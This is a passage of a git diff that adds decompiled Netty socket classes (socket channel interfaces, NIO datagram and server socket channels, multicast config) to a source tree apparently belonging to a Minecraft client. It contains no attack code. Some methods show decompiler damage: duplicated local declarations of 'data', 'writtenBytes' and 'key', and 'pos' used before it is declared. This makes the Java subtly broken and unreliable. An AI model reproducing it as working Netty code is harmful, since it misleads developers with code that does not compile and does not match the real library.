+++ b/src/minecraft/io/netty/channel/socket/DuplexChannel.java
@@ -0,0 +1,27 @@
+package io.netty.channel.socket;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+
+public abstract interface DuplexChannel
+  extends Channel
+{
+  public abstract boolean isInputShutdown();
+  
+  public abstract ChannelFuture shutdownInput();
+  
+  public abstract ChannelFuture shutdownInput(ChannelPromise paramChannelPromise);
+  
+  public abstract boolean isOutputShutdown();
+  
+  public abstract ChannelFuture shutdownOutput();
+  
+  public abstract ChannelFuture shutdownOutput(ChannelPromise paramChannelPromise);
+  
+  public abstract boolean isShutdown();
+  
+  public abstract ChannelFuture shutdown();
+  
+  public abstract ChannelFuture shutdown(ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/channel/socket/InternetProtocolFamily.java b/src/minecraft/io/netty/channel/socket/InternetProtocolFamily.java
new file mode 100644
index 0000000..c035dc9
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/InternetProtocolFamily.java
@@ -0,0 +1,8 @@
+package io.netty.channel.socket;
+
+public enum InternetProtocolFamily
+{
+  IPv4,  IPv6;
+  
+  private InternetProtocolFamily() {}
+}
diff --git a/src/minecraft/io/netty/channel/socket/ServerSocketChannel.java b/src/minecraft/io/netty/channel/socket/ServerSocketChannel.java
new file mode 100644
index 0000000..de46154
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/ServerSocketChannel.java
@@ -0,0 +1,14 @@
+package io.netty.channel.socket;
+
+import io.netty.channel.ServerChannel;
+import java.net.InetSocketAddress;
+
+public abstract interface ServerSocketChannel
+  extends ServerChannel
+{
+  public abstract ServerSocketChannelConfig config();
+  
+  public abstract InetSocketAddress localAddress();
+  
+  public abstract InetSocketAddress remoteAddress();
+}
diff --git a/src/minecraft/io/netty/channel/socket/ServerSocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/ServerSocketChannelConfig.java
new file mode 100644
index 0000000..37638e0
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/ServerSocketChannelConfig.java
@@ -0,0 +1,38 @@
+package io.netty.channel.socket;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+
+public abstract interface ServerSocketChannelConfig
+  extends ChannelConfig
+{
+  public abstract int getBacklog();
+  
+  public abstract ServerSocketChannelConfig setBacklog(int paramInt);
+  
+  public abstract boolean isReuseAddress();
+  
+  public abstract ServerSocketChannelConfig setReuseAddress(boolean paramBoolean);
+  
+  public abstract int getReceiveBufferSize();
+  
+  public abstract ServerSocketChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract ServerSocketChannelConfig setPerformancePreferences(int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract ServerSocketChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract ServerSocketChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract ServerSocketChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract ServerSocketChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract ServerSocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract ServerSocketChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract ServerSocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/socket/SocketChannel.java b/src/minecraft/io/netty/channel/socket/SocketChannel.java
new file mode 100644
index 0000000..eb43058
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/SocketChannel.java
@@ -0,0 +1,26 @@
+package io.netty.channel.socket;
+
+import io.netty.channel.Channel;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelPromise;
+import java.net.InetSocketAddress;
+
+public abstract interface SocketChannel
+  extends Channel
+{
+  public abstract ServerSocketChannel parent();
+  
+  public abstract SocketChannelConfig config();
+  
+  public abstract InetSocketAddress localAddress();
+  
+  public abstract InetSocketAddress remoteAddress();
+  
+  public abstract boolean isInputShutdown();
+  
+  public abstract boolean isOutputShutdown();
+  
+  public abstract ChannelFuture shutdownOutput();
+  
+  public abstract ChannelFuture shutdownOutput(ChannelPromise paramChannelPromise);
+}
diff --git a/src/minecraft/io/netty/channel/socket/SocketChannelConfig.java b/src/minecraft/io/netty/channel/socket/SocketChannelConfig.java
new file mode 100644
index 0000000..0c46405
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/SocketChannelConfig.java
@@ -0,0 +1,60 @@
+package io.netty.channel.socket;
+
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.channel.ChannelConfig;
+import io.netty.channel.MessageSizeEstimator;
+import io.netty.channel.RecvByteBufAllocator;
+
+public abstract interface SocketChannelConfig
+  extends ChannelConfig
+{
+  public abstract boolean isTcpNoDelay();
+  
+  public abstract SocketChannelConfig setTcpNoDelay(boolean paramBoolean);
+  
+  public abstract int getSoLinger();
+  
+  public abstract SocketChannelConfig setSoLinger(int paramInt);
+  
+  public abstract int getSendBufferSize();
+  
+  public abstract SocketChannelConfig setSendBufferSize(int paramInt);
+  
+  public abstract int getReceiveBufferSize();
+  
+  public abstract SocketChannelConfig setReceiveBufferSize(int paramInt);
+  
+  public abstract boolean isKeepAlive();
+  
+  public abstract SocketChannelConfig setKeepAlive(boolean paramBoolean);
+  
+  public abstract int getTrafficClass();
+  
+  public abstract SocketChannelConfig setTrafficClass(int paramInt);
+  
+  public abstract boolean isReuseAddress();
+  
+  public abstract SocketChannelConfig setReuseAddress(boolean paramBoolean);
+  
+  public abstract SocketChannelConfig setPerformancePreferences(int paramInt1, int paramInt2, int paramInt3);
+  
+  public abstract boolean isAllowHalfClosure();
+  
+  public abstract SocketChannelConfig setAllowHalfClosure(boolean paramBoolean);
+  
+  public abstract SocketChannelConfig setConnectTimeoutMillis(int paramInt);
+  
+  public abstract SocketChannelConfig setMaxMessagesPerRead(int paramInt);
+  
+  public abstract SocketChannelConfig setWriteSpinCount(int paramInt);
+  
+  public abstract SocketChannelConfig setAllocator(ByteBufAllocator paramByteBufAllocator);
+  
+  public abstract SocketChannelConfig setRecvByteBufAllocator(RecvByteBufAllocator paramRecvByteBufAllocator);
+  
+  public abstract SocketChannelConfig setAutoRead(boolean paramBoolean);
+  
+  public abstract SocketChannelConfig setAutoClose(boolean paramBoolean);
+  
+  public abstract SocketChannelConfig setMessageSizeEstimator(MessageSizeEstimator paramMessageSizeEstimator);
+}
diff --git a/src/minecraft/io/netty/channel/socket/nio/NioDatagramChannel.java b/src/minecraft/io/netty/channel/socket/nio/NioDatagramChannel.java
new file mode 100644
index 0000000..4ad3df3
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/nio/NioDatagramChannel.java
@@ -0,0 +1,589 @@
+package io.netty.channel.socket.nio;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.AddressedEnvelope;
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOption;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.ChannelPromise;
+import io.netty.channel.DefaultAddressedEnvelope;
+import io.netty.channel.RecvByteBufAllocator;
+import io.netty.channel.RecvByteBufAllocator.Handle;
+import io.netty.channel.nio.AbstractNioMessageChannel;
+import io.netty.channel.socket.DatagramChannelConfig;
+import io.netty.channel.socket.DatagramPacket;
+import io.netty.channel.socket.InternetProtocolFamily;
+import io.netty.util.internal.PlatformDependent;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.net.DatagramSocket;
+import java.net.InetAddress;
+import java.net.InetSocketAddress;
+import java.net.NetworkInterface;
+import java.net.SocketAddress;
+import java.net.SocketException;
+import java.nio.ByteBuffer;
+import java.nio.channels.MembershipKey;
+import java.nio.channels.spi.SelectorProvider;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class NioDatagramChannel
+  extends AbstractNioMessageChannel
+  implements io.netty.channel.socket.DatagramChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(true);
+  private static final SelectorProvider DEFAULT_SELECTOR_PROVIDER = SelectorProvider.provider();
+  private static final String EXPECTED_TYPES = " (expected: " + StringUtil.simpleClassName(DatagramPacket.class) + ", " + StringUtil.simpleClassName(AddressedEnvelope.class) + '<' + StringUtil.simpleClassName(ByteBuf.class) + ", " + StringUtil.simpleClassName(SocketAddress.class) + ">, " + StringUtil.simpleClassName(ByteBuf.class) + ')';
+  
+
+
+  private final DatagramChannelConfig config;
+  
+
+
+  private Map<InetAddress, List<MembershipKey>> memberships;
+  
+
+
+  private RecvByteBufAllocator.Handle allocHandle;
+  
+
+
+  private static java.nio.channels.DatagramChannel newSocket(SelectorProvider provider)
+  {
+    try
+    {
+      return provider.openDatagramChannel();
+    } catch (IOException e) {
+      throw new ChannelException("Failed to open a socket.", e);
+    }
+  }
+  
+  private static java.nio.channels.DatagramChannel newSocket(SelectorProvider provider, InternetProtocolFamily ipFamily) {
+    if (ipFamily == null) {
+      return newSocket(provider);
+    }
+    
+    checkJavaVersion();
+    try
+    {
+      return provider.openDatagramChannel(ProtocolFamilyConverter.convert(ipFamily));
+    } catch (IOException e) {
+      throw new ChannelException("Failed to open a socket.", e);
+    }
+  }
+  
+  private static void checkJavaVersion() {
+    if (PlatformDependent.javaVersion() < 7) {
+      throw new UnsupportedOperationException("Only supported on java 7+.");
+    }
+  }
+  
+
+
+  public NioDatagramChannel()
+  {
+    this(newSocket(DEFAULT_SELECTOR_PROVIDER));
+  }
+  
+
+
+
+  public NioDatagramChannel(SelectorProvider provider)
+  {
+    this(newSocket(provider));
+  }
+  
+
+
+
+  public NioDatagramChannel(InternetProtocolFamily ipFamily)
+  {
+    this(newSocket(DEFAULT_SELECTOR_PROVIDER, ipFamily));
+  }
+  
+
+
+
+
+  public NioDatagramChannel(SelectorProvider provider, InternetProtocolFamily ipFamily)
+  {
+    this(newSocket(provider, ipFamily));
+  }
+  
+
+
+  public NioDatagramChannel(java.nio.channels.DatagramChannel socket)
+  {
+    super(null, socket, 1);
+    config = new NioDatagramChannelConfig(this, socket);
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public DatagramChannelConfig config()
+  {
+    return config;
+  }
+  
+
+  public boolean isActive()
+  {
+    java.nio.channels.DatagramChannel ch = javaChannel();
+    return (ch.isOpen()) && (((((Boolean)config.getOption(ChannelOption.DATAGRAM_CHANNEL_ACTIVE_ON_REGISTRATION)).booleanValue()) && (isRegistered())) || (ch.socket().isBound()));
+  }
+  
+
+
+  public boolean isConnected()
+  {
+    return javaChannel().isConnected();
+  }
+  
+  protected java.nio.channels.DatagramChannel javaChannel()
+  {
+    return (java.nio.channels.DatagramChannel)super.javaChannel();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return javaChannel().socket().getLocalSocketAddress();
+  }
+  
+  protected SocketAddress remoteAddress0()
+  {
+    return javaChannel().socket().getRemoteSocketAddress();
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().socket().bind(localAddress);
+  }
+  
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    if (localAddress != null) {
+      javaChannel().socket().bind(localAddress);
+    }
+    
+    boolean success = false;
+    try {
+      javaChannel().connect(remoteAddress);
+      success = true;
+      return true;
+    } finally {
+      if (!success) {
+        doClose();
+      }
+    }
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
+    throw new Error();
+  }
+  
+  protected void doDisconnect() throws Exception
+  {
+    javaChannel().disconnect();
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    java.nio.channels.DatagramChannel ch = javaChannel();
+    DatagramChannelConfig config = config();
+    RecvByteBufAllocator.Handle allocHandle = this.allocHandle;
+    if (allocHandle == null) {
+      this.allocHandle = (allocHandle = config.getRecvByteBufAllocator().newHandle());
+    }
+    ByteBuf data = allocHandle.allocate(config.getAllocator());
+    boolean free = true;
+    try {
+      ByteBuffer nioData = data.internalNioBuffer(data.writerIndex(), data.writableBytes());
+      pos = nioData.position();
+      InetSocketAddress remoteAddress = (InetSocketAddress)ch.receive(nioData);
+      if (remoteAddress == null) {
+        return 0;
+      }
+      
+      int readBytes = nioData.position() - pos;
+      data.writerIndex(data.writerIndex() + readBytes);
+      allocHandle.record(readBytes);
+      
+      buf.add(new DatagramPacket(data, localAddress(), remoteAddress));
+      free = false;
+      return 1;
+    } catch (Throwable cause) { int pos;
+      PlatformDependent.throwException(cause);
+      return -1;
+    } finally {
+      if (free) {
+        data.release();
+      }
+    }
+  }
+  
+  protected boolean doWriteMessage(Object msg, ChannelOutboundBuffer in) throws Exception {
+    ByteBuf data;
+    ByteBuf data;
+    SocketAddress remoteAddress;
+    if ((msg instanceof AddressedEnvelope))
+    {
+      AddressedEnvelope<ByteBuf, SocketAddress> envelope = (AddressedEnvelope)msg;
+      SocketAddress remoteAddress = envelope.recipient();
+      data = (ByteBuf)envelope.content();
+    } else {
+      data = (ByteBuf)msg;
+      remoteAddress = null;
+    }
+    
+    int dataLen = data.readableBytes();
+    if (dataLen == 0) {
+      return true;
+    }
+    
+    ByteBuffer nioData = data.internalNioBuffer(data.readerIndex(), dataLen);
+    int writtenBytes;
+    int writtenBytes; if (remoteAddress != null) {
+      writtenBytes = javaChannel().send(nioData, remoteAddress);
+    } else {
+      writtenBytes = javaChannel().write(nioData);
+    }
+    return writtenBytes > 0;
+  }
+  
+  protected Object filterOutboundMessage(Object msg)
+  {
+    if ((msg instanceof DatagramPacket)) {
+      DatagramPacket p = (DatagramPacket)msg;
+      ByteBuf content = (ByteBuf)p.content();
+      if (isSingleDirectBuffer(content)) {
+        return p;
+      }
+      return new DatagramPacket(newDirectBuffer(p, content), (InetSocketAddress)p.recipient());
+    }
+    
+    if ((msg instanceof ByteBuf)) {
+      ByteBuf buf = (ByteBuf)msg;
+      if (isSingleDirectBuffer(buf)) {
+        return buf;
+      }
+      return newDirectBuffer(buf);
+    }
+    
+    if ((msg instanceof AddressedEnvelope))
+    {
+      AddressedEnvelope<Object, SocketAddress> e = (AddressedEnvelope)msg;
+      if ((e.content() instanceof ByteBuf)) {
+        ByteBuf content = (ByteBuf)e.content();
+        if (isSingleDirectBuffer(content)) {
+          return e;
+        }
+        return new DefaultAddressedEnvelope(newDirectBuffer(e, content), e.recipient());
+      }
+    }
+    
+    throw new UnsupportedOperationException("unsupported message type: " + StringUtil.simpleClassName(msg) + EXPECTED_TYPES);
+  }
+  
+
+
+
+
+  private static boolean isSingleDirectBuffer(ByteBuf buf)
+  {
+    return (buf.isDirect()) && (buf.nioBufferCount() == 1);
+  }
+  
+
+
+
+  protected boolean continueOnWriteError()
+  {
+    return true;
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return (InetSocketAddress)super.remoteAddress();
+  }
+  
+  public ChannelFuture joinGroup(InetAddress multicastAddress)
+  {
+    return joinGroup(multicastAddress, newPromise());
+  }
+  
+  public ChannelFuture joinGroup(InetAddress multicastAddress, ChannelPromise promise)
+  {
+    try {
+      return joinGroup(multicastAddress, NetworkInterface.getByInetAddress(localAddress().getAddress()), null, promise);
+
+    }
+    catch (SocketException e)
+    {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture joinGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface)
+  {
+    return joinGroup(multicastAddress, networkInterface, newPromise());
+  }
+  
+
+
+  public ChannelFuture joinGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface, ChannelPromise promise)
+  {
+    return joinGroup(multicastAddress.getAddress(), networkInterface, null, promise);
+  }
+  
+
+  public ChannelFuture joinGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source)
+  {
+    return joinGroup(multicastAddress, networkInterface, source, newPromise());
+  }
+  
+
+
+  public ChannelFuture joinGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source, ChannelPromise promise)
+  {
+    
+    
+
+    if (multicastAddress == null) {
+      throw new NullPointerException("multicastAddress");
+    }
+    
+    if (networkInterface == null) {
+      throw new NullPointerException("networkInterface");
+    }
+    try {
+      MembershipKey key;
+      MembershipKey key;
+      if (source == null) {
+        key = javaChannel().join(multicastAddress, networkInterface);
+      } else {
+        key = javaChannel().join(multicastAddress, networkInterface, source);
+      }
+      
+      synchronized (this) {
+        List<MembershipKey> keys = null;
+        if (memberships == null) {
+          memberships = new HashMap();
+        } else {
+          keys = (List)memberships.get(multicastAddress);
+        }
+        if (keys == null) {
+          keys = new ArrayList();
+          memberships.put(multicastAddress, keys);
+        }
+        keys.add(key);
+      }
+      
+      promise.setSuccess();
+    } catch (Throwable e) {
+      promise.setFailure(e);
+    }
+    
+    return promise;
+  }
+  
+  public ChannelFuture leaveGroup(InetAddress multicastAddress)
+  {
+    return leaveGroup(multicastAddress, newPromise());
+  }
+  
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, ChannelPromise promise)
+  {
+    try {
+      return leaveGroup(multicastAddress, NetworkInterface.getByInetAddress(localAddress().getAddress()), null, promise);
+    }
+    catch (SocketException e) {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+
+  public ChannelFuture leaveGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface)
+  {
+    return leaveGroup(multicastAddress, networkInterface, newPromise());
+  }
+  
+
+
+  public ChannelFuture leaveGroup(InetSocketAddress multicastAddress, NetworkInterface networkInterface, ChannelPromise promise)
+  {
+    return leaveGroup(multicastAddress.getAddress(), networkInterface, null, promise);
+  }
+  
+
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source)
+  {
+    return leaveGroup(multicastAddress, networkInterface, source, newPromise());
+  }
+  
+
+
+  public ChannelFuture leaveGroup(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress source, ChannelPromise promise)
+  {
+    
+    
+    if (multicastAddress == null) {
+      throw new NullPointerException("multicastAddress");
+    }
+    if (networkInterface == null) {
+      throw new NullPointerException("networkInterface");
+    }
+    
+    synchronized (this) {
+      if (memberships != null) {
+        List<MembershipKey> keys = (List)memberships.get(multicastAddress);
+        if (keys != null) {
+          Iterator<MembershipKey> keyIt = keys.iterator();
+          
+          while (keyIt.hasNext()) {
+            MembershipKey key = (MembershipKey)keyIt.next();
+            if ((networkInterface.equals(key.networkInterface())) && (
+              ((source == null) && (key.sourceAddress() == null)) || ((source != null) && (source.equals(key.sourceAddress())))))
+            {
+              key.drop();
+              keyIt.remove();
+            }
+          }
+          
+          if (keys.isEmpty()) {
+            memberships.remove(multicastAddress);
+          }
+        }
+      }
+    }
+    
+    promise.setSuccess();
+    return promise;
+  }
+  
+
+
+
+
+
+  public ChannelFuture block(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress sourceToBlock)
+  {
+    return block(multicastAddress, networkInterface, sourceToBlock, newPromise());
+  }
+  
+
+
+
+  public ChannelFuture block(InetAddress multicastAddress, NetworkInterface networkInterface, InetAddress sourceToBlock, ChannelPromise promise)
+  {
+    
+    
+
+
+    if (multicastAddress == null) {
+      throw new NullPointerException("multicastAddress");
+    }
+    if (sourceToBlock == null) {
+      throw new NullPointerException("sourceToBlock");
+    }
+    
+    if (networkInterface == null) {
+      throw new NullPointerException("networkInterface");
+    }
+    synchronized (this) {
+      if (memberships != null) {
+        List<MembershipKey> keys = (List)memberships.get(multicastAddress);
+        for (MembershipKey key : keys) {
+          if (networkInterface.equals(key.networkInterface())) {
+            try {
+              key.block(sourceToBlock);
+            } catch (IOException e) {
+              promise.setFailure(e);
+            }
+          }
+        }
+      }
+    }
+    promise.setSuccess();
+    return promise;
+  }
+  
+
+
+
+
+  public ChannelFuture block(InetAddress multicastAddress, InetAddress sourceToBlock)
+  {
+    return block(multicastAddress, sourceToBlock, newPromise());
+  }
+  
+
+
+
+
+  public ChannelFuture block(InetAddress multicastAddress, InetAddress sourceToBlock, ChannelPromise promise)
+  {
+    try
+    {
+      return block(multicastAddress, NetworkInterface.getByInetAddress(localAddress().getAddress()), sourceToBlock, promise);
+
+    }
+    catch (SocketException e)
+    {
+      promise.setFailure(e);
+    }
+    return promise;
+  }
+  
+  protected void setReadPending(boolean readPending)
+  {
+    super.setReadPending(readPending);
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/nio/NioDatagramChannelConfig.java b/src/minecraft/io/netty/channel/socket/nio/NioDatagramChannelConfig.java
new file mode 100644
index 0000000..0930096
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/nio/NioDatagramChannelConfig.java
@@ -0,0 +1,197 @@
+package io.netty.channel.socket.nio;
+
+import io.netty.channel.ChannelException;
+import io.netty.channel.socket.DatagramChannelConfig;
+import io.netty.channel.socket.DefaultDatagramChannelConfig;
+import io.netty.util.internal.PlatformDependent;
+import java.lang.reflect.Field;
+import java.lang.reflect.Method;
+import java.net.InetAddress;
+import java.net.NetworkInterface;
+import java.net.SocketException;
+import java.nio.channels.DatagramChannel;
+import java.nio.channels.NetworkChannel;
+import java.util.Enumeration;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class NioDatagramChannelConfig
+  extends DefaultDatagramChannelConfig
+{
+  private static final Object IP_MULTICAST_TTL;
+  private static final Object IP_MULTICAST_IF;
+  private static final Object IP_MULTICAST_LOOP;
+  private static final Method GET_OPTION;
+  private static final Method SET_OPTION;
+  private final DatagramChannel javaChannel;
+  
+  static
+  {
+    ClassLoader classLoader = PlatformDependent.getClassLoader(DatagramChannel.class);
+    Class<?> socketOptionType = null;
+    try {
+      socketOptionType = Class.forName("java.net.SocketOption", true, classLoader);
+    }
+    catch (Exception e) {}
+    
+    Class<?> stdSocketOptionType = null;
+    try {
+      stdSocketOptionType = Class.forName("java.net.StandardSocketOptions", true, classLoader);
+    }
+    catch (Exception e) {}
+    
+
+    Object ipMulticastTtl = null;
+    Object ipMulticastIf = null;
+    Object ipMulticastLoop = null;
+    Method getOption = null;
+    Method setOption = null;
+    if (socketOptionType != null) {
+      try {
+        ipMulticastTtl = stdSocketOptionType.getDeclaredField("IP_MULTICAST_TTL").get(null);
+      } catch (Exception e) {
+        throw new Error("cannot locate the IP_MULTICAST_TTL field", e);
+      }
+      try
+      {
+        ipMulticastIf = stdSocketOptionType.getDeclaredField("IP_MULTICAST_IF").get(null);
+      } catch (Exception e) {
+        throw new Error("cannot locate the IP_MULTICAST_IF field", e);
+      }
+      try
+      {
+        ipMulticastLoop = stdSocketOptionType.getDeclaredField("IP_MULTICAST_LOOP").get(null);
+      } catch (Exception e) {
+        throw new Error("cannot locate the IP_MULTICAST_LOOP field", e);
+      }
+      try
+      {
+        getOption = NetworkChannel.class.getDeclaredMethod("getOption", new Class[] { socketOptionType });
+      } catch (Exception e) {
+        throw new Error("cannot locate the getOption() method", e);
+      }
+      try
+      {
+        setOption = NetworkChannel.class.getDeclaredMethod("setOption", new Class[] { socketOptionType, Object.class });
+      } catch (Exception e) {
+        throw new Error("cannot locate the setOption() method", e);
+      }
+    }
+    IP_MULTICAST_TTL = ipMulticastTtl;
+    IP_MULTICAST_IF = ipMulticastIf;
+    IP_MULTICAST_LOOP = ipMulticastLoop;
+    GET_OPTION = getOption;
+    SET_OPTION = setOption;
+  }
+  
+
+  NioDatagramChannelConfig(NioDatagramChannel channel, DatagramChannel javaChannel)
+  {
+    super(channel, javaChannel.socket());
+    this.javaChannel = javaChannel;
+  }
+  
+  public int getTimeToLive()
+  {
+    return ((Integer)getOption0(IP_MULTICAST_TTL)).intValue();
+  }
+  
+  public DatagramChannelConfig setTimeToLive(int ttl)
+  {
+    setOption0(IP_MULTICAST_TTL, Integer.valueOf(ttl));
+    return this;
+  }
+  
+  public InetAddress getInterface()
+  {
+    NetworkInterface inf = getNetworkInterface();
+    if (inf == null) {
+      return null;
+    }
+    Enumeration<InetAddress> addresses = inf.getInetAddresses();
+    if (addresses.hasMoreElements()) {
+      return (InetAddress)addresses.nextElement();
+    }
+    return null;
+  }
+  
+  public DatagramChannelConfig setInterface(InetAddress interfaceAddress)
+  {
+    try
+    {
+      setNetworkInterface(NetworkInterface.getByInetAddress(interfaceAddress));
+    } catch (SocketException e) {
+      throw new ChannelException(e);
+    }
+    return this;
+  }
+  
+  public NetworkInterface getNetworkInterface()
+  {
+    return (NetworkInterface)getOption0(IP_MULTICAST_IF);
+  }
+  
+  public DatagramChannelConfig setNetworkInterface(NetworkInterface networkInterface)
+  {
+    setOption0(IP_MULTICAST_IF, networkInterface);
+    return this;
+  }
+  
+  public boolean isLoopbackModeDisabled()
+  {
+    return ((Boolean)getOption0(IP_MULTICAST_LOOP)).booleanValue();
+  }
+  
+  public DatagramChannelConfig setLoopbackModeDisabled(boolean loopbackModeDisabled)
+  {
+    setOption0(IP_MULTICAST_LOOP, Boolean.valueOf(loopbackModeDisabled));
+    return this;
+  }
+  
+  public DatagramChannelConfig setAutoRead(boolean autoRead)
+  {
+    super.setAutoRead(autoRead);
+    return this;
+  }
+  
+  protected void autoReadCleared()
+  {
+    ((NioDatagramChannel)channel).setReadPending(false);
+  }
+  
+  private Object getOption0(Object option) {
+    if (PlatformDependent.javaVersion() < 7) {
+      throw new UnsupportedOperationException();
+    }
+    try {
+      return GET_OPTION.invoke(javaChannel, new Object[] { option });
+    } catch (Exception e) {
+      throw new ChannelException(e);
+    }
+  }
+  
+  private void setOption0(Object option, Object value)
+  {
+    if (PlatformDependent.javaVersion() < 7) {
+      throw new UnsupportedOperationException();
+    }
+    try {
+      SET_OPTION.invoke(javaChannel, new Object[] { option, value });
+    } catch (Exception e) {
+      throw new ChannelException(e);
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/channel/socket/nio/NioServerSocketChannel.java b/src/minecraft/io/netty/channel/socket/nio/NioServerSocketChannel.java
new file mode 100644
index 0000000..658514a
--- /dev/null
+++ b/src/minecraft/io/netty/channel/socket/nio/NioServerSocketChannel.java
@@ -0,0 +1,197 @@
+package io.netty.channel.socket.nio;
+
+import io.netty.channel.ChannelException;
+import io.netty.channel.ChannelMetadata;
+import io.netty.channel.ChannelOutboundBuffer;
+import io.netty.channel.nio.AbstractNioMessageChannel;
+import io.netty.channel.socket.DefaultServerSocketChannelConfig;
+import io.netty.channel.socket.ServerSocketChannelConfig;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.ServerSocket;
+import java.net.SocketAddress;
+import java.nio.channels.SocketChannel;
+import java.nio.channels.spi.SelectorProvider;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NioServerSocketChannel
+  extends AbstractNioMessageChannel
+  implements io.netty.channel.socket.ServerSocketChannel
+{
+  private static final ChannelMetadata METADATA = new ChannelMetadata(false);
+  private static final SelectorProvider DEFAULT_SELECTOR_PROVIDER = SelectorProvider.provider();
+  
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(NioServerSocketChannel.class);
+  
+
+  private final ServerSocketChannelConfig config;
+  
+
+  private static java.nio.channels.ServerSocketChannel newSocket(SelectorProvider provider)
+  {
+    try
+    {
+      return provider.openServerSocketChannel();
+    } catch (IOException e) {
+      throw new ChannelException("Failed to open a server socket.", e);
+    }
+  }
+  
+
+
+
+
+
+  public NioServerSocketChannel()
+  {
+    this(newSocket(DEFAULT_SELECTOR_PROVIDER));
+  }
+  
+
+
+  public NioServerSocketChannel(SelectorProvider provider)
+  {
+    this(newSocket(provider));
+  }
+  
+
+
+  public NioServerSocketChannel(java.nio.channels.ServerSocketChannel channel)
+  {
+    super(null, channel, 16);
+    config = new NioServerSocketChannelConfig(this, javaChannel().socket(), null);
+  }
+  
+  public InetSocketAddress localAddress()
+  {
+    return (InetSocketAddress)super.localAddress();
+  }
+  
+  public ChannelMetadata metadata()
+  {
+    return METADATA;
+  }
+  
+  public ServerSocketChannelConfig config()
+  {
+    return config;
+  }
+  
+  public boolean isActive()
+  {
+    return javaChannel().socket().isBound();
+  }
+  
+  public InetSocketAddress remoteAddress()
+  {
+    return null;
+  }
+  
+  protected java.nio.channels.ServerSocketChannel javaChannel()
+  {
+    return (java.nio.channels.ServerSocketChannel)super.javaChannel();
+  }
+  
+  protected SocketAddress localAddress0()
+  {
+    return javaChannel().socket().getLocalSocketAddress();
+  }
+  
+  protected void doBind(SocketAddress localAddress) throws Exception
+  {
+    javaChannel().socket().bind(localAddress, config.getBacklog());
+  }
+  
+  protected void doClose() throws Exception
+  {
+    javaChannel().close();
+  }
+  
+  protected int doReadMessages(List<Object> buf) throws Exception
+  {
+    SocketChannel ch = javaChannel().accept();
+    try
+    {
+      if (ch != null) {
+        buf.add(new NioSocketChannel(this, ch));
+        return 1;
+      }
+    } catch (Throwable t) {
+      logger.warn("Failed to create a new channel from an accepted socket.", t);
+      try
+      {
+        ch.close();
+      } catch (Throwable t2) {
+        logger.warn("Failed to close a socket.", t2);
+      }
+    }
+    
+    return 0;
+  }
+  
+
+  protected boolean doConnect(SocketAddress remoteAddress, SocketAddress localAddress)
+    throws Exception
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  protected void doFinishConnect() throws Exception
+  {
